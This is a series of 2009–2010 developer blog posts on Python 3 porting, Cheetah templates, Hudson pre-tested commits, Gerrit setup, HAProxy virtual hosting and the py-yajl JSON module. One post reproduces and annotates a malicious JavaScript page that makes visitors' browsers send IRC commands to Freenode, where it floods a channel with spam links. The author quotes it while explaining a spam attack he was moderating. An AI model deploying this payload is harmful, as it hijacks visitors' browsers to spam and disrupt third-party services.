A few weeks ago when I started to look deeper into the possibility of Cheetah support for Python 3, I found a process riddled with faults. First a disclaimer, Cheetah is almost ten years old; it's one of the oldest Python projects I can think of that's still chugging along. This translates into some very old looking code, most people who are new to the language aren't familiar with some of the ways the language has changed in the past five years, let alone ten.

The current means of supporting Python 3 with pure Python packages is as follows:

Refactor the code enough such that 2to3 can process it
Run 2to3 over the codebase, with the -w option to literally write the changes to the files
Test your code on Python 3 (if it fails, go back to step 1)
Create a source tarball, post to PyPI, continue developing in Python 2.xx

I'm hoping you spotted the same problem with this model that I did, due to the reliance on 2to3 you are now trapped into always developing Python targeting Python 2. This model will never succeed in moving people to Python 3, regardless of what amazing improvements it contains (such as the Unladen Swallow work) because you cannot develop on a day-to-day basis with Python 3, it's a magic conversion tool away.

Unlike with a C module for Python, I cannot #ifdef certain segments of code in and out, which forces me to constantly use 2to3 or fork my code and maintain two separate branches of my project, duplicating the work for every change. With Python 2 sticking around on the scene for years to come (I don;t believe 2.7 will be the last release) I cannot imagine either of these workflows making sense long term.

At a fundamental level, supporting Python 3 does not make sense for anybody developing modules, particularly open source ones. Despite Python 3 being "the future", it is currently impossible to develop using Python 3, maintaining support for Python 2, which all of us have to do. With enterprise operating systems like Red Hat or SuSE only now starting to get on board with Python 2.5 and Python 2.6, you can be certain that we're more than five years away from seeing Python 3 installed by default on any production machines.

Writing for multiple blogs

R. Tyler Croy — Thu, 11 Feb 2010 07:39:50 +0000

My New Year's resolution this year was incredibly generic insofar that I merely wanted to "write more." No qualifications for what kind of writing that entailed, I simply want to become a better writer (or blogger), with technical subjects in particular I'd like to get better at writing in a fashion that is interesting, parse-able by novices and has sufficient "depth" to interest more technical readers. I'm not sure if I can define what being a "better writer" will entail or how I'll know when I'm there, so for now I'm just trying to write good content. Considering my last post didn't even pretend to ride the fence between opinionated-article and full-on rant, I think it's safe to say that in order to accomplish my goal I need more venues for writing and more topics to write about.

One of those venues, which I've linked to before is the Apture Blog; I have written for the company blog already this year and chances are I will have another few posts go up as we tackle some of the technical challenges we're currently facing (you can view my posts here). Unfortunately there's only so many articles I can write for the Apture Blog without giving away any confidential information or turning it completely into a technical blog (hint: it's not).

Looking around at a few of the open source communities that I'm involved in, two groups stick out: Eventlet and Hudson. Eventlet already has a blog and I'm certain my usage of Eventlet is not steady enough to warrant any kind of authoritative posts on the subject. The other, Hudson, is something I've used on a daily basis for almost a year and a half. Not only that, I run the @hudsonci twitter account and founded the #Hudson channel on Freenode, I've also tried my hand at developing some plugins for Hudson (which is written in Java). Suffice to say, I'm quite the little Hudson cheerleader.

When I floated the idea of an "official" blog for Hudson, which I would help drive, to Kohsuke and some other "core" developers of Hudson, the idea was well received and I set off getting Drupal configured, writing some preliminary content and getting ready for a launch of Continuous Blog. While my writing contributions thus far to Continuous Blog have been sparse, I've gotten to play the delightful role of Editor which is an entirely different experience unto itself.

I'm looking forward to seeing how this develops, I might end up writing for a few other blogs depending on interest and time, but for now my shenanigans can be found on:

unethical blogger (duh)
Continuous Blog
The Apture Blog

Mourning Sun

R. Tyler Croy — Sun, 31 Jan 2010 03:51:52 +0000

Some users of Hudson have already started to notice a subtle addition to the latest release, 1.343, a new background watermark image.

The commit message (r26728) from Kohsuke, the incredibly talented founder and maintainer of the Hudson project, adds a bit of sadness to the whole affair:

In tribute to Sun Microsystems and all my colleagues who had to go today. I hope the community would forgive me for doing this.

Given the incredible speed at which the tech industry grows and moves, it's easy to forget that there are a number of talented engineers that have spent their careers at Sun building technologies that have helped change the face of modern computing, regardless of whether or not Sun could figure out how to sell them: SunOS/Solaris, Java, DTrace, SPARC 64-bit chips, Sun Grid Engine, JRuby, the W3C XML specification, ZFS, OpenOffice (acquisition), MySQL (acquisition), and VirtualBox (acquisition).

As a corporation, I personally think Sun was a failure, as a foundation of engineering in Silicon Valley, I think Sun has been quite successful.

To those that are being pushed out as part of the merger with Oracle, I want to sincerely thank you for your contributions to computing and wish you the best of luck. Here's the "full" version of the image, which I found via @jtnl's TwitPic stream:

Using a browser to piss off IRC users, or, spamming #redditdowntime

R. Tyler Croy — Wed, 27 Jan 2010 09:43:04 +0000

One of my most favorite sites on the internet, reddit, took some downtime this evening while doing some infrastructure (both hardware and software) upgrades. On their down-page, the reddit team invited everybody to join the #redditdowntime channel on the Freenode network, ostensibly to help users pass the time waiting for their pics and IAMAs to come back online.

Shortly after reddit started their scheduled outage, I joined the channel to pass the time while I debated what I should do with my evening. Within minutes the channel was flooded with a number of users, varying between spouting reddit memes in caps. link-spamming or engaging in casual chit-chat. I complained to one of the ops and fairly well-known-to-redditors employee: jedberg about the lack of moderation and he nearly instantly gave me +o (ops) in the channel. Not one to take my ops duty lightly, I started kicking spammers, warning habitual caps-lock users and tried to keep things generally civil through the deluge of messages consuming the channel.

Towards the end of the scheduled outage, some automated link-spamming started to appear and once it started it triggered more and more link-spamming. Clearly whatever was behind the bit.ly link was responsible for the self-propagating nature of the spamming. While the other moderators and myself tried to keep up with banning people I used wget to fetch the destination of the clearly malicious bit.ly URL to determine what we were dealing with. What I found is one of the more clever bits of JavaScript I think I've seen in recent months.

After bringing the site back up for a few minutes, reddit had to take it back down after noticing some problems with the upgrade, so another flood of users filled into the #redditdowntime channel and the link-spamming got worse. The most interesting aspect of the JavaScript in the code snippet below is how simple it is, I've commented it up a bit to help explain what's actually going on:

<iframe id="y" name="y" style="display:none"></iframe>
 
<form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
    <textarea name="x" id="x"></textarea>
</form>
 
<script type="text/javascript">
    /* 
     * Generate a random string of characters to use for an IRC nick
     */
    function rnd(){
        var chars="abcdefghijklmnopqrstuvwxyz";
        var r='';
        var length=Math.floor(Math.random()*10+3);
        for (var i=0;i<length;i++){
            var rnum=Math.floor(Math.random() * chars.length);
            r += chars.substring(rnum, rnum+1);
        }
        return r;
    }
    function lol(){
        /* Grab a reference to the textarea */
        var x = document.getElementById('x');
        /* Grab a reference to the form itself */
        var f = document.getElementById('f');
        /* Generate a fake user-name */
        var i = rnd();
        /* Generate a fake nick */
        var n = rnd();
 
        /* 
         * Build a series of IRC commands into a string:
         *   - Set the username
         *   - Set the nick 
         *   - Join the channel to spam (#redditdowntime)
         *   - Queue up a bunch of PRIVMSG commands to the channel with the spam link
         */
        x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';
 
        /* Submit the form, effectively sending the textarea contents to an IRC server */
        f.submit();
 
        /* Setup a loop for maximum irritation */
        setTimeout(lol, 5000);
    }
    lol();
</script>
<h1>DIGG ROOLZ! REDDIT DROOLZ!</h1>

Better, Faster, Stronger

R. Tyler Croy — Wed, 20 Jan 2010 17:31:00 +0000

I'm not going to cross-post but I wrote a little something on the Apture Blog about some of the things we've been doing lately to scale up with Django among other things. I suppose over the coming days I'll have to write a few posts here getting into the nitty-gritty about Spawning vs. Apache and so on, but it's a good start.

Better, Faster, Stronger

Thread-safety assumptions in Django

R. Tyler Croy — Tue, 19 Jan 2010 05:23:26 +0000

These days, the majority of my day job revolves around working with Apture's Django-based code which, depending on the situation, can be a blessing or a curse. In some of my recent work to help improve our ability to scale effectively, I started swapping out Apache for Spawning web servers which can more efficiently handle large numbers of concurrent requests. One of the mechanisms by which Spawning accomplishes this task, is by using eventlet's tpool (thread pool) module in addition to some other clever tricks. With Apache, we used pre-forked workers to accomplish the work needed to be done and while still using forked child processes with Spawning, threading was also thrown into the mix, that's when "shit got real" (so to speak).

We started seeing sporadic, difficult to reproduce errors. Not a lot, a trickle of exception emails throughout the day. Digging deeper into some of the exceptions, careful stepping through Apture code, into Django code and back again, I started to realize I had thread-safety problems. Shock! Panic! Despair! Lunch! Disappointment! Shock! I felt all these things and more. I've long lamented the number of globals used in Django's code base but this is the icing on the cake.

Apparently Django's threading problems are sufficiently documented in a few places. Using a slightly older version of the Django framework certainly doesn't help but it doesn't appear that recent releases (1.1.1) can guarantee thread-safety anyways. I think it's safe to assume the majority of Django framework users are not using threaded web servers in any capacity, else this would have become a far larger issue (and hopefully of been fixed) by now. From NoReverseMatch exceptions, to curious middleware problems to thread-safety issues in the WSGI support layer, Django has potholes lying all along the road to multithreadedness.

Beware.

Virtual Hosting with HAProxy and WSGI

R. Tyler Croy — Sun, 17 Jan 2010 00:29:38 +0000

Lately I've fallen in love with a couple of fairly simple but powerful technologies: haproxy and WSGI (web server gateway interface). While the latter is more of a specification (PEP 333) the concepts it puts forth have made my life significantly easier. In combination, the two of them make for a powerful combination for serving web applications of all kinds and colors.

HAProxy is a robust, reliable piece of load balancing software that's very easy to get started with, For the uninitiated, load balancing is a common means of distributing the load of a number of inbound requests across a pool of processes, machines, clusters and so on. Whenever you hit any web site of non-trivial size, your HTTP requests are invariably transparently proxied through a load balancer to a pool of web machines.

I started looking into haproxy when I began to move Urlenco.de away from my franken-setup of Lighttpd/FastCGI/Mono/ASP.NET to a pure Python stack. After poking around some articles about haproxy I discovered it can be used for virtual hosts as well as simple load balancing. Using a haproxy's ACLs feature (see Section 7 in the configuration.txt), you can redirect requests to one backend or another. While my "virtual hosting" with haproxy is using the ability to inspect the HTTP headers of inbound requests, you can use a number of different criterion to determine the right backend for serving a request: url matching, request method matching (GET/POST), protocol matching (haproxy can load balance any kind of TCP connection) and so on.

WSGI (pronounced: whiskey) comes into play on the backend side of haproxy, using the eventlet.wsgi module which provides a WSGI interface I can build web applications very quickly, test them and deploy them. When deployed, I can run them as "nobody" in userspace on the server, binding to some higher numbered port (i.e. 8080) and haproxy will do the work routing to the appropriate WSGI process.

Below is a simple haproxy configuration that I'm using to run Urlenco.de and a site for my wedding and many more as soon as I finish them. The section to note is frontend http-in in which the ACLs are defined for the different virtually hosted domains and the conditionals for selecting a backend based on those ACLs.

global
    maxconn         20000
    ulimit-n        16384
    log             127.0.0.1 local0
    uid             200
    gid             200
    chroot          /var/empty
    nbproc          4
    daemon

defaults
    log global
    mode http
    option httplog
    option dontlognull
    retries 3
    option redispatch
    maxconn 2000
    contimeout 5000
    clitimeout 50000
    srvtimeout 50000

frontend http-in
    bind *:80
    acl is_urlencode hdr_end(host) -i urlenco.de
    acl is_wedding hdr_end(host) -i erinandtylerswedding.com

    use_backend urlencode if is_urlencode
    use_backend wedding if is_wedding
    default_backend urlencode

backend urlencode
    balance roundrobin
    cookie SERVERID insert nocache indirect
    option httpchk HEAD /check.txt HTTP/1.0
    option httpclose
    option forwardfor
    server Local 127.0.0.1:8181 cookie Local

backend wedding
    balance roundrobin
    cookie SERVERID insert nocache indirect
    option httpchk HEAD /check.txt HTTP/1.0
    option httpclose
    option forwardfor
    server Local 127.0.0.1:8081 cookie Local

Pre-tested commits with Hudson and Git

R. Tyler Croy — Thu, 31 Dec 2009 23:22:16 +0000

A few months ago Kohsuke, author of the Hudson continuous integration server, introduced me to the concept of the "pre-tested commit", a feature of the TeamCity build management and continuous integration system. The concept is simple, the build system stands as a roadblock between your commit entering trunk and only after the build system determines that your commit doesn't break things does it allow the commit to be introduced into version control, where other developers will sync and integrate that change into their local working copies. The reasoning and workflow put forth by TeamCity for "pre-tested commits" is very dependent on a centralized version control system, it is solving an issue Git or Mercurial users don't really run into. Those using Git can commit their hearts out all day long and it won't affect their colleagues until they merge their commits with others.

In some cases, allowing buggy or broken code to be merged in from another developer's Git repository can be worse than in a central version control system, since the recipient of the broken code might perform a knee-jerk git-revert(1) command on the merge! When you revert a merge commit in Git, what happens is you not only revert the merge, you revert the commits associated with that merge commit; in essence, you're reverting everything you just merged in when you likely just wanted to get the broken code out of your local tree so you could continue working without interruption. To solve for this problem-case, I utilize a "pre-tested commit" or "pre-tested merge" workflow with Hudson.

My workflow with Hudson for pre-tested commits involves three separate Git repositories: my local repo (local), the canonical/central repo (origin) and my "world-readable" (inside the firewall) repo (public). For pre-tested commits, I utilize a constantly changing branch called "pu" (potential updates) on the world-readable repo. Inside of Hudson I created a job that polls the world-readable repo (public) for changes in the "pu" branch and will kick off builds when updates are pushed. Since the content of public/pu is constantly changing, the git-push(1) commands to it must be "forced-updates" since I am effectively rewriting history every time I push to public/pu.

To help forcefully pushing updates from my current local branch to public/pu I use the following git alias:

% git config alias.pup "\!f() { branch=\$(git symbolic-ref HEAD | sed 's/refs\\/heads\\///g');\
      git push -f \$1 +\${branch}:pu;}; f"

While a little obfuscated, thie pup alias forcefully pushes the contents of the current branch to the specified remote repository's pu branch. I find this is easier than constantly typing out: git push -f public +topic:pu

In list form, my workflow for taking a change from inception to origin is:

hack, hack, hack
commit to local/topic
git pup public
Hudson polls public/pu
Hudson runs potential-updates job
Tests fail?
- Yes: Rework commit, try again
- No: Continue
Rebase onto local/master
Push to origin/master

Using this pre-tested commit workflow I can offload the majority of my testing requirements to the build system's cluster of machines instead of running them locally, meaning I can spend the majority of my time writing code instead of waiting for tests to complete on my own machine in between coding iterations.

Using Cheetah templates with Django

R. Tyler Croy — Sat, 26 Dec 2009 20:31:11 +0000

Some time ago after reading a post on Eric Florenzano's blog about hacking together support for Cheetah with Django, I decided to add "proper" support for Cheetah/Django to Cheetah v2.2.1 (released June 1st, 2009). At the time I didn't use Django for anything, so I didn't really think about it too much more.

Now that I work at Apture, which uses Django as part of its stack, Cheetah and Django playing nicely together is more attractive to me and as such I wanted to jot down a quick example project for others to use for getting started with Cheetah and Django. You can find the django_cheetah_example project on GitHub, but the gist of how this works is as follows.

Requires

Django
Cheetah (>= v2.2.1)

Getting Started

For all intents and purposes, using Cheetah in place of Django's templating system is a trivial change in how you write your views.

After following the Django getting started documentation, you'll want to create a directory for your Cheetah templates, such as Cheetar/templates. Be sure to touch __init__.py in your template directory to ensure that templates can be imported if they need to.

Add your new template directory to the TEMPLATE_DIRS attribute in your project's settings.py.

Once that is all set up, utilizing Cheetah templates in Django is just a matter of a few lines in your view code:

    import Cheetah.Django
 
    def index(req):
        return Cheetah.Django.render('index.tmpl', greet=False)

Note: Any keyword-arguments you pass into the Cheetah.Django.render() function will be exposed in the template's "searchList", meaning you can then access them with $-placeholders. (i.e. $greet)

With the current release of Cheetah (v2.4.1), there isn't support for using pre-compiled Cheetah templates with Django (it'd be trivial to put together though) which means Cheetah.Django.render() uses Cheetah's dynamic compilation mode which can add a bit of overhead since templates are compiled at runtime (your mileage may vary).

Pyrage: from toolbox import hammer

R. Tyler Croy — Thu, 24 Dec 2009 08:23:26 +0000

Those that have worked with my directly know I'm a tad obsessive when it comes to imports in Python. Once upon a time I had to write some pretty disgusting import hooks to solve a problem and got to learn first-hand how gnarly Python's import subsystem can be. I have a couple coding conventions that I follow when I'm writing Python for my own personal projects that typically follows:

"strict" system imports first (i.e. import time)
"from" system imports second (i.e. from eventlet import api)
"local" imports (import mymodule)
local "from" imports (from mypackage import module)

In all of these sections, I like to list things alphabetically as well, just to make sure that at no point are modules ever doubley-imported. This results in code that looks clean (in my humblest of opinions):

    #!/usr/bin/env python
    import os
    import sys
    from eventlet import api
 
    import app.util
    from app.models import account
 
    ## Etc.

A module importing habit that absolutely drives me up the wall, I was introduced to and told "don't-do-that" by Dave: importing symbols from modules; in effect: from MySQLdb import IntegrityError. I have two major reasons for hating the importing of symbols, the first one is that it messes with your module's namespace. If the symbol import above were in a file called "foo.py", the foo module would then have the member foo.IntegrityError. Additionally, it makes the code more difficult to understand when you flatten the module's namespace out; 500 lines down in the file if you see acct_m = AccountManager() as a developer new to the file you'll have to go up to the top and figure out where the hell AccountManager is actually coming from to understand how it works.

As code with these sort of symbol-level imports ages, it becomes more and more frustrating to deal with, if I need OperationalError in my module now I have three options:

Update the line to say: from MySQLdb import IntegrityError, OperationalError
Add import MySQLdb and just refer to IntegrityError and MySQLdb.OperationalError
Add import MySQLdb and update all references to IntegrityError

I've seen code in open source projects that have abused the symbol imports so badly that an import statement look like: from mod import CONST1, CONST2, CONST3, SomeError, AnotherClass (ad infinium).

I think poor import style is a good indicator of how one can expect the rest of the Python code to look, I cannot recall a single instance where I've looked at a Python module with gross import statements and clean classes and functions.

    from MySQLdb import IntegrityError, OperationalError, MySQLError, ProgrammingError, \
    NotSupportedError, InternalError

PYRAGE!

One year of Cheetah

R. Tyler Croy — Sun, 20 Dec 2009 01:04:49 +0000

While working at Slide I had a tendency to self-assign major projects, not content with things being "good-enough" I tended to push and over-extend myself to improve the state of Slide Engineering. Sometimes these projects would fail and I would get uncomfortably close to burning myself out, other times, such as the migration from Subversion to Git, turned out to be incredibly rewarding and netted noticable improvements in our workflow as a company.

One of my very first major projects was upgrading our installation of Cheetah from 1.0 to 2.0, at the time I vigorously hated Cheetah. My distain of the templating system stemmed from using a three year old version (that sucked to begin with) and our usage of Cheetah which bordered between "hackish" and "vomitable." At this point in Slide's history, the growth of the Facebook applications meant there was going to be far less focus on the Slide.com codebase which is where some of the more egregious Cheetah code lived; worth noting that I never "officially" worked on the Slide.com codebase. When I successfully convinced Jeremiah and KB that it was worth my time and some of their time to upgrade to Cheetah 2.0 which offered a number of improvements that we could make use of, I still held some pretty vigorous hatred towards Cheetah. My attitude was simple though, temporary pain on my part would alleviate pain inflicted on the rest of the engineering team further down the line. Thanks to fantastic QA by Ruben and Sunil, the Cheetah upgrade went down relatively issue free, things were looking fine in production and everybody went back to their regularly scheduled work.

Months went by without me thinking of Cheetah too much until late 2008, Slide continued to write front-end code using Cheetah and developers continued to grumble about it. Frustrated by the lack of development on the project, I did the unthinkable, I started fixing it. Over the Christmas break, I used git-cvsimport(1) to create a git repository from the Cheetah CVS repo hosted with SourceForge and I started applying patches that had circulated on the mailing list. By mid-March I had a number of changes and improvements in my fork of Cheetah and I released "Community Cheetah". Without project administrator privileges on SourceForge, I didn't have much of a choice but to publish a fork on GitHub. Eventually I was able to get a hold of Tavis Rudd, the original author of Cheetah who had no problem allowing me to become the maintainer of Cheetah proper, in a matter of months I had gone from hating Cheetah to fulfilling the oft touted saying "it's open source, fix it!" What was I thinking.

Thanks in part to git and GitHub's collaborative/distributed development model patches started to come in and the Cheetah community for all intents and purposes "woke up." Over the course of the past year, Cheetah has seen an amazing number of improvements, bugfixes and releases. Cheetah now properly supports unicode throughout the system, supports @staticmethod and @classmethod decorators, supports use with Django and now supports Windows as a "first-class citizen". While I committed the majority of the fixes to Cheetah, five other developers contributed fixes:

Jean-Baptiste Quenot (unicode fixes)
Mike Bonnet (unicode fixes, test fixes)
James Abbatiello (Windows support)
Arun Kumar
Doug Knight (fixes for #raw directive)

In 2008, Cheetah saw 7 commits and 0 releases, while 2009 brought 342 commits and 10 releases; something I'm particularly proud of. Unforunately since I've left Slide, I no longer use Cheetah in a professional context but I still find it tremendously useful for some of my personal projects.

I am looking forward to what 2010 will bring for the Cheetah project, which started in mid-2001 and has seen continued development since thanks to a number of contributors over the years.

Pyrage: Generic Exceptions

R. Tyler Croy — Fri, 18 Dec 2009 06:10:13 +0000

Earlier while talking to Ryan I decided I'd try to coin the term "pyrage" referring to some frustrations I was having with some Python packages. The notion of "pyrage" can extend to anything from a constant irritation to a pure "WTF were you thinking!" kind of moment.

Not one to pass up a good opportunity to bitch publicly, I'll elaborate on some of my favorite sources of "pyrage", starting with generic exceptions. While at Slide, one of the better practices I picked up from Dave was the use of specifically typed exceptions to specific errors. In effect:

    class Connection(object):
        ## Pretend this object has "stuff"
        pass
 
    class InvalidConnectionError(Exception):
        pass
    class ConnectionConfigurationError(Exception):
        pass
 
    def configureConnection(conn):
        if not isinstance(conn, Connection):
            raise InvalidConnectionError('configureConnection requires a Connection object')
        if conn.connected:
            raise ConnectionConfigurationError('Connection (%s) is already connected' % conn)
        ## etc

Django, for example, is pretty stacked with generic exceptions, using builtin exceptions like ValueError and AttributeError for a myriad of different kinds of exceptions. urllib2's HTTPError is good example as well, overloading a large number of HTTP errors into one exception leaving a developer to catch them all, and check the code, a la:

    try:
        urllib2.urlopen('http://some/url')
    except urllib2.HTTPError, e:
        if e.code == 503:
            ## Handle 503's special
            pass
        else:
            raise

Argh. pyrage!

Code Review with Gerrit, a mostly visual guide

R. Tyler Croy — Tue, 08 Dec 2009 06:45:25 +0000

A while ago, when Paul, Jason and I worked together, I became a big fan of code reviews before merging code. It was no surprise really, we were the first to adopt Git at the company and our workflow was quite ad-hoc, the need to federate knowledge within the group meant code reviews were a pretty big deal. At the time, we mostly did code reviews in person by way of "hey, what's this you're doing here?" or by literally sending patch emails with git-format-patch(1) to the team mailing list so all could participate in the discussion about what merits "good code" exhibited versus "less good code." Now that I've left that company and joined another one, I've found myself in another small-team situation, where my teammates place high value on code review. Fortunately this time around better tools exist, namely: Gerrit.

The history behind Gerrit I'm a bit hazy on, what I do know is that it's primary developer Shawn Pearce (spearce) is one of the Git "inner circle" who contributes heavily to Git itself as well as JGit, a Git implementation in Java which sits underneath Gerrit's internals. What makes Gerrit unique in the land of code review systems is how tightly coupled Gerrit is with Git itself, so much so that you submit changes by pushing as if the Gerrit server were "just another Git repo."

I recommend building Gerrit from source for now, spearce is planning a proper release of the recent Gerrit developments shortly before Christmas, but who has that kind of patience! To build Gerrit you will need Maven and the Sun JDK 1.6.

Setting up the Gerrit daemon

First you should clone one of Gerrit's dependencies, followed by Gerrit itself:

banana% git clone git://android.git.kernel.org/tools/gwtexpui.git
banana% git clone git://android.git.kernel.org/tools/gerrit.git

Once both clones are complete, you can start by building one and then the other (which might take a while, go grab yourself a coffee, you've earned it):

banana% (cd gwtexpui && mvn install)
banana% cd gerrit && mvn clean package

After Gerrit has finished building, you'll have a .war file ready to run Gerrit with (note: depending on when you read this article, your path to gerrit.war might have changed). First we'll initialize the directory "/srv/gerrit" as the location where the executing Gerrit daemon will store its logs, data, etc:

banana% java -jar gerrit-war/target/gerrit-2.0.25-SNAPSHOT.war init -d /srv/gerrit
*** Gerrit Code Review v2.0.24.2-72-g4c37167
***

Initialize '/srv/gerrit' [y/n]? y

*** Git Repositories
***

Location of Git repositories   [git]:

*** SQL Database
***

Database server type           [H2/?]:

*** User Authentication
***

Authentication method          [OPENID/?]:

*** Email Delivery
***

SMTP server hostname           [localhost]:
SMTP server port               [(default)]:
SMTP encryption                [NONE/?]:
SMTP username                  :

*** SSH Daemon
***

Gerrit SSH listens on address  [*]:
Gerrit SSH listens on port     [29418]:

Gerrit Code Review is not shipped with Bouncy Castle Crypto v144
  If available, Gerrit can take advantage of features
  in the library, but will also function without it.
Download and install it now [y/n]? y
Downloading http://www.bouncycastle.org/download/bcprov-jdk16-144.jar ... OK
Checksum bcprov-jdk16-144.jar OK
Generating SSH host key ... rsa... dsa... done

*** HTTP Daemon
***

Behind reverse HTTP proxy (e.g. Apache mod_proxy) [y/n]? n
Use https:// (SSL)             [y/n]? n
Gerrit HTTP listens on address [*]:
Gerrit HTTP listens on port    [8080]: 

Initialized /srv/gerrit

After running through Gerrit's brief wizard, you'll be ready to start Gerrit itself (note: this command will not detach from the terminal, so you might want to start it within screen for now):

banana% java -jar gerrit-war/target/gerrit-2.0.25-SNAPSHOT.war daemon -d /srv/gerrit

Now that you've reached this point you'll have Gerrit running a web application on port 8080, and listening for SSH connections on port 29418, congratulations! You're most of the way there :)

Creating users and groups

Welcome to Gerrit

First thing you should do after starting Gerrit up is log in to make sure your user is the administrator, you can do so by clicking the "Register" link in the top right corner which should present you with an openID login dialog After logging in with your favorite openID provider, Gerrit will allow you to enter in information about you (SSH key, email address, etc). It's worth noting that the email address is very important as Gerrit uses the email address to match your commits to your Gerrit account When you create your SSH key for Gerrit, it's recommended that you give it a custom entry in ~/.ssh/config along the lines of:

Host gerrithost
    User <you>
    Port 29418
    Hostname <gerrithost>
    IdentityFile <path/to/private/key>

After you click "Continue" at the bottom of the user information page, you will be taken to your dashboard which is where your changes waiting to be reviewed as well as changes waiting to be reviewed by you will be waiting

Now that your account is all set up, let's create a group for "integrators", integrators in Git parlance are those that are responsible for reviewing code and integrating it into the "official" repository (typically integrators are project maintainers or core developers). Be sure to add yourself to the "Integrators" group, we'll use this "Integrators" group later to create more granular permissions on a particular project:

Projects in Gerrit

Creating a new project in Gerrit is fairly easy but a little different insofar that there isn't a web UI for doing so but there is a command line one:

banana% ssh gerrithost gerrit create-project -n <project-name>

For the purposes of my examples moving forward, we'll use a project created in Gerrit for one of the Python modules I maintain, py-yajl. After creating the "py-yajl" project with the command line, I can visit Admin > Projects and select "py-yajl" and edited some of its permissions. Here we'll give "Integrators" the ability to Verify changes as well as Push Branch.

With the py-yajl project all set up in Gerrit, I can return to my Git repository and add a "remote" for Gerrit, and push my master branch to it

banana% git checkout master
banana% git remote add gerritrhost ssh://gerrithost/py-yajl.git
banana% git push gerrithost master

This will give Gerrit a baseline for reviewing changes against and allow it to determine when a change has been merged down. Before getting down to business and starting to commit changes, it's recommended that you install the Gerrit Change-Id commit-msg hook documented here which will help Gerrit track changes through rebasing; once that's taken care of, have at it!

banana% git checkout -b topic-branch
banana% <work>
banana% git commit 
banana% git push gerrithost HEAD:refs/for/master

The last command will push my commit to Gerrit, the command is kind of weird looking so feel free to put it behind a git-alias(1). After the push is complete however, my changes will be awaiting review in Gerrit

At this point, you'd likely wait for another reviewer to come along and either comment your code inline in the side-by-side viewer or otherwise approve the commit bu clicking "Publish Comments"

After comments have been published, the view in My Dashboard has changed to indicate that the change has not only been reviewed but also verified:

Upon seeing this, I can return back to my Git repository and feel comfortable merging my code to the master branch:

banana% git checkout master
banana% git merge topic-branch
banana% git push origin master
banana% git push gerrithost master

The last command is significant again, by pushing the updated master branch to Gerrit, we indicate that the change has been merged, which is also reflected in My Dashboard

Tada! You've just had your code reviewed and subsequently integrated into the upstream tree, pat yourself on the back. It's worth noting that while Gerrit is under steady development it is being used by the likes of the Android team, JGit/EGit team and countless others. Gerrit contains a number of nice subtle features, like double-clicking a line inside the side-by-side diff to add a comment to that line specifically, the ability to "star" changes (similar to bookmarking) and a too many others to go into detail in this post.

While it may seem like this was a fair amount of set-up to get code reviews going, the payoff can be tremendous, Gerrit facilitates a solid Git-oriented code review process that scales very well with the number of committers and changes. I hope you enjoy it :)

Server-side image transforms in Python

R. Tyler Croy — Sat, 05 Dec 2009 06:51:33 +0000

While working at Slide, I became enamored with the concept of cooperative threads (coroutines) and the in-house library built around greenlet to implement coroutines for Python. As an engineer on the "server team" I had the joy of working in a coro-environment on a daily basis but now that I'm "out" I've had to find an alternative library to give me coroutines: eventlet. Interestingly enough, eventlet shares common ancestry with Slide's internal coroutine implementation like two different species separated thousands of years ago by continental drift (a story for another day).

A few weekends ago, I had a coroutine itch to scratch one afternoon: an eventlet-based image server for applying transforms/filters/etc. After playing around for a couple hours "PILServ" started to come together. One of the key features I wanted to have in my little image server project was the ability to not only pass the server a URL of an image instead of a local path but also to "chain" transforms in a jQuery-esque style. Using segments of the URL as arguments, a user can arbitrarily chain arguments into PILServ, i.e.:

http://localhost:8080/flip/filter(blur)/rotate(45)/resize(64x64)/<url to an image>

At the end of the evening I spent on PILServ, I had something going that likely shows off more of the skills of PIL rather than eventlet itself but I still think it's neat. Below is a sample of some images transformed by PILServ running locally:

On GitHub and how I came to write the fastest Python JSON module in town

R. Tyler Croy — Fri, 04 Dec 2009 09:30:09 +0000

Perhaps the title is a bit too much ego stroking, yes, I did write the fastest Python module for decoding JSON strings and encoding Python objects to JSON. I didn't however write the parser behind the scenes.

Over the summer I discovered "Yet Another JSON Library" on GitHub, written by Lloyd Hilaiel, jonesing for a Saturday afternoon project I started the "py-yajl" project to see if I could implement a Python C module atop Lloyd's marvelous parsing library. After tinkering with the project for a while I got a working prototype building (learning how to define custom types in Python along the way) and let the project stagnate as my weekend ended and the workweek resumed.

A little over a week ago "autodata", another GitHub user, sent me a "Pull Request" with some minor changes to make py-yajl build cleaner on amd64; my interest in the project was suddenly reignited, amazing what a little interest can do for motivation. Over the 10 days following autodata's pull request I discovered that a former colleague of mine and fellow GitHub user "teepark" had forked the project as well, working on Python 3 support. Going from zero to two people interested in the project, I quickly converted the code from a stagnant, borderline embarrassing, dump of C code into a leak-free, swift JSON library for Python. Not one to miss out on the fun, I pinged Lloyd who quickly became as enamored with making py-yajl the best Python JSON module available, he forked the project and almost immediately sent a number of pull requests my way with further optimizations to py-yajl such as:

Swapping out the use of Python lists to a custom pointer stack for maintaining internal state
Accelerating parsing and handling of Number objects
Pruning a few memory leaks here and there

Thanks to mikeal's JSON post and jsonperf.py script, Lloyd and I could both see how py-yajl was stacking up against cjson, jsonlib, jsonlib2 and simplejson; things got competitive. Below are the most recent jsonperf.py results with py-yajl v0.1.1:

json.loads:         6470.22037ms
simplejson.loads:   202.21063ms  
yajl.loads:         145.32621ms
cjson.decode:       102.44788ms

json.dumps:         2309.15286ms
cjson.encode:       276.49586ms   
simplejson.dumps:   201.59785ms
yajl.dumps:         161.00153ms

Over the coming days or weeks (as time permits) I'm planning on adding JSON stream parsing support, i.e. parsing a stream of data as it's coming in off a socket or file object, as well as a few other miscellaneous tasks.

Given the nature of GitHub's social coding dynamic, py-yajl got off the ground as a project but Yajl itself gained an IRC channel (#yajl on Freenode) and a mailing list ([email protected]). To date I have over 20 unique repositories on GitHub (i.e. authored by me) but the experience around Yajl has been the most exciting and finally proved the "social coding" concept beneficial to me.

IronWatin; mind the gap

R. Tyler Croy — Tue, 13 Oct 2009 21:57:49 +0000

Last week @admc, despite being a big proponent of Windmill, needed to use WatiN for a change. WatiN has the distinct capability of being able to work with Internet Explorer's HTTPS support as well as frames, a requirement for the task at hand. As adorable as it was to watch @admc, a child of the dynamic language revolution, struggle with writing in C# with Visual Studio and the daunting "Windows development stack," the prospect of a language shift at Slide towards C# on Windows is almost laughable. Since Slide is a Python shop, IronPython became the obvious choice.

